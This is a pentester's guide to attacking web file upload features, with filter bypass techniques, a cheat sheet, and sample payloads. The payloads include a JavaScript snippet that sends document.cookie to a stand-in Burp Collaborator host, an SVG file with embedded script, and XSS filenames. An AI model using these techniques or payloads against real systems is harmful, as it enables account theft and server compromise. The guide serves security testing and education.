Table of contents
- Top 10 Things To Achieve With File Upload
- Tools
- Bypassing Client Side Filters
- Content-Type Bypass
- Magic Bytes:
- Bypass Prepend Large String
- Bypass Via Transfer-Encoding Header
- Bypass Via SemiColon;
- Bypass Checking the Image Header
- Overriding The Server Configuration
- Bypass Filter with Param Pollution
- Out Of The Box Thinking
- Cheat Sheet
- Resources:
This past week I had the opportunity to test a file upload feature which only allowed pdf files to be uploaded. I tried to bypass the filter by appending a second filetype to the filename test.pdf.svg
But I still received an error. After some trial and error I finally succeeded in bypassing the filter but prepending some PDF magic bytes PDF%PDF-
to the beginning of the file content and together with the double file type the file was successfully uploaded.
This motivated me to create a relevant guide to file upload attacks. My goal is to focus on making the task simple and straight forward.
Top 10 Things To Achieve With File Upload
- ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
- SVG: Stored XSS / SSRF / XXE
- GIF: Stored XSS / SSRF
- CSV: CSV injection
- XML: XXE
- AVI: LFI / SSRF
- HTML / JS : HTML injection / XSS / Open redirect
- PNG / JPEG: Pixel flood attack (DoS)
- ZIP: RCE via LFI / DoS
- PDF / PPTX: SSRF / BLIND XXE
Tools
If you are looking for automation I would highly suggest using the burpsuite extension called file upload scanner. There is a slight learning curve to use the tools full capabilities however if you just want to throw some basic tests its pretty simple.
Note: I believe its important to know which attacks to try before sending 10000 different payloads and file types. Reference the list of top 10 impacts via file upload to get an idea of how to attack the server. In the video linked below, Stok used the tool to target XXE inside PDF files. Notice how he wisely chose only those two options during the attack. This allows for a focused attack with clear results.
Note #2: You may also want to adjust the payload inside the file. By default it has a burp collaborator instance placed in the payload but you can change that to wherever you want.
Bypassing Client Side Filters
One thing you may come across often is an error message along the lines of "Only JPEG files allowed" before you even send the upload request. The reason this occurs is because there is something called Client-Side Validation occurring.
Here we can see the file is checked whether the mime type is a pdf
Now in order to bypass this you can simply pass the request to a proxy and modify the file type once its passed the browsers checks.
If you like the command line you can achieve the same result with curl. The syntax for such a command would look something like this:
curl -X POST -F "submit=<value>" -F "<file-parameter>=@<path-to-file>" <site>
Content-Type Bypass
Perhaps php isn't allowed. Uploading images is allowed though. If the server trusts the content-type in the HTTP request an attacker could change this value to “image/jpeg” which would pass the validation.
Magic Bytes:
See it here
GIFGIF89a;\x0a
PDF%PDF-
JPG / JPEG\xFF\xD8\xFF\xDB
PNG\x89\x50\x4E\x47\x0D\x0A\x1A\x0A
TAR\x75\x73\x74\x61\x72\x00\x30\x30
XML<?xml
Bypass Prepend Large String
Generate 10,000 of “A” and prepend them before the shell payload.
Bypass Via Transfer-Encoding Header
Bypass Via SemiColon;
try putting a semicolon at the end of the mutipart/form-data; boundary=????????????????;
and submit request.
Bypass Checking the Image Header
When image upload only is allowed, most web applications usually validate the image header by using a server-side function such as getimagesize()
in PHP. When called, this function will return the size of an image. If the file is not a valid image, meaning that the file header is not that of an image, the function will return FALSE. Therefore, several web applications typically check if the function returns TRUE or FALSE and validate the uploaded file using this information.
If an attacker attempts to upload a simple PHP shell embedded in a JPEG file, the function will return false, effectively stopping the attack. However, even this approach can be easily bypassed if the Apache HTTP Server is using the AddHandler
directive described above. If an image file is opened in an image editor, such as GIMP, one can edit the image metadata to include a comment. An attacker would insert some PHP code here as shown below.
The image will still have a valid header; therefore it bypasses the getimagesize()
check. As seen in the screenshot below, the PHP code inserted in the image comments still gets executed when the image is requested by a browser.
Overriding The Server Configuration
As we discussed in the previous section, servers typically won't execute files unless they have been configured to do so. For example, before an Apache server will execute PHP files requested by a client, developers might have to add the following directives to their /etc/apache2/apache2.conf
file:
LoadModule php_module /usr/lib/apache2/modules/libphp.so
AddType application/x-httpd-php .php
Many servers also allow developers to create special configuration files within individual directories in order to override or add to one or more of the global settings. Apache servers, for example, will load a directory-specific configuration from a file called .htaccess
if one is present.
Similarly, developers can make directory-specific configuration on IIS servers using a web.config
file. This might include directives such as the following, which in this case allows JSON files to be served to users:
<staticContent>
<mimeMap fileExtension=".json" mimeType="application/json" />
</staticContent>
Web servers use these kinds of configuration files when present, but you're not normally allowed to access them using HTTP requests. However, you may occasionally find servers that fail to stop you from uploading your own malicious configuration file. In this case, even if the file extension you need is blacklisted, you may be able to trick the server into mapping an arbitrary, custom file extension to an executable MIME type.
Bypass Filter with Param Pollution
Want to bypass file extension restriction ? try HTTP Parameter Pollution on the filename parameter.
name=file.jpg&name=.html
Out Of The Box Thinking
If you find a file upload mechanism, even if you find you can't attain command execution, there are other useful things you can leverage the file upload for.
1) Bypass CSP: If you can upload a JavaScript file, then you can use that file to bypass CSP protections if it is hosted on the webserver.
XSS payload
<img src="/image/1.js">
1.js
<script>
fetch('https://BURP-COLLABORATOR-SUBDOMAIN', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>
2) Call Internal DTD for XXE: Sometimes you will find that you can't call external DTD's which can potentially severely limit the impact, however by uploading your own DTD to the server you may be able to call the DTD from your XXE payload
Stok managed to pull off this amazing XXE trick. Watch it here
3) XSS via SVG Files: One very common functionality in an application is the ability to upload images. Often the upload functionality whitelists image types only. Thankfully, there is an image format that allows JavaScript injection – SVG! Sometimes SVG uploads are still allowed to be uploaded.
If that is the case, create an SVG file with the following contents (note the JavaScript alert):
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(document.domain);
</script>
</svg>
Now upload the file, and navigate to the URL where it is stored – you should see a JavaScript alert box. If the alert shows a domain that contains functionality that may be abused by the XSS, such as the domain that hosts your target application, you’re in luck! In many cases, the file is uploaded to an AWS S3 domain, in which case the XSS is probably useless, and does not pose any security impact.
4) XSS in File Name: XSS can be triggered if the user uploaded an image with an XSS vector as the file name. You may be surprised how common this is.
"><svg onload=alert(1)>.jpg
Cheat Sheet
Method | Details |
Try various file extensions | Try different versions of the file extensions, for example php3, .php4, .php5, phtml for PHP scripts, asp,aspx and ashx for IIS |
Append an extra file extension | If the application is not properly validating for the file extension, this can be exploited by appending another extension, for example from script.php to script.php.gif or script.gif.php |
Change the casing of the extension | Try different combinations of lower and upper case, for example pHp, PhP, phP, Php etc |
Change content type | When intercepting the request using Burp Suite, the content type can be changed, for example from “Content-type: application/x-php” to “Content-type: image/gif” |
Add a magic byte to the file | Magic bytes function as signatures used by the web server to identify the type of file that is being uploaded. For example, when adding “GIF87a” to the beginning of the script, the server will think of it as a GIF file. |
Try reducing the file size | If a file size restriction is being used, a smaller script can be uploaded to gain remote code execution, such as |
Try using executable extensions | Certain executable extensions may still be allowed, for example .shtml, .asa, .cer”, “.asax”, “.swf”, or “.xap”. |
Add a null byte to the file name | If the site is using file extension whitelists, this can often be bypassed by adding %00 (HTML encoding) or \x00 (hex encoding) to the end of the file name. For example: php-reverse-shell.php%00.gif |
Add special characters before file extension | In order webservers, adding special characters such as ;%$& just after the file name, for example shell;.php can help bypass file extension whitelists |
Insert EXIF data | An executable script can be inserted into an image in the form of a metadata comment, which will then be executed when the web server uses the image in a page |
Try using Windows 8.3 notation for the file name | The Windows 8.3 short name version can be used in the file name. For example shell.aspx will become SHELL~1.ASP |
Try adding neutral characters after the filename | Special characters like spaces or dots in Windows or dots and slashes in a Linux at the end of a filename will be removed automatically (e.g. “shell.aspx … … . . .. ..”, “script.asp “, or “file.asp.”). Although slash or backslash characters are unlikely to succeed as they are normally used to separate directories, they are worth a try (e.g. “shell.php/” or “scri[t.php.\”). |
Try finding characters that are converted to other useful characters during the file upload process. | For instance, when running PHP on IIS, the “>”, “<”, and double quote “ characters respectively convert to “?”, “*”, and “.” characters that can be used to replace existing files (e.g. “web<<” can replace the “web.config” file). In order to include the double quote character in the filename in a normal file upload request, the filename in the “Content-Disposition” header should use single quotes (e.g. filename=’web”config’ to replace the “web.config” file). |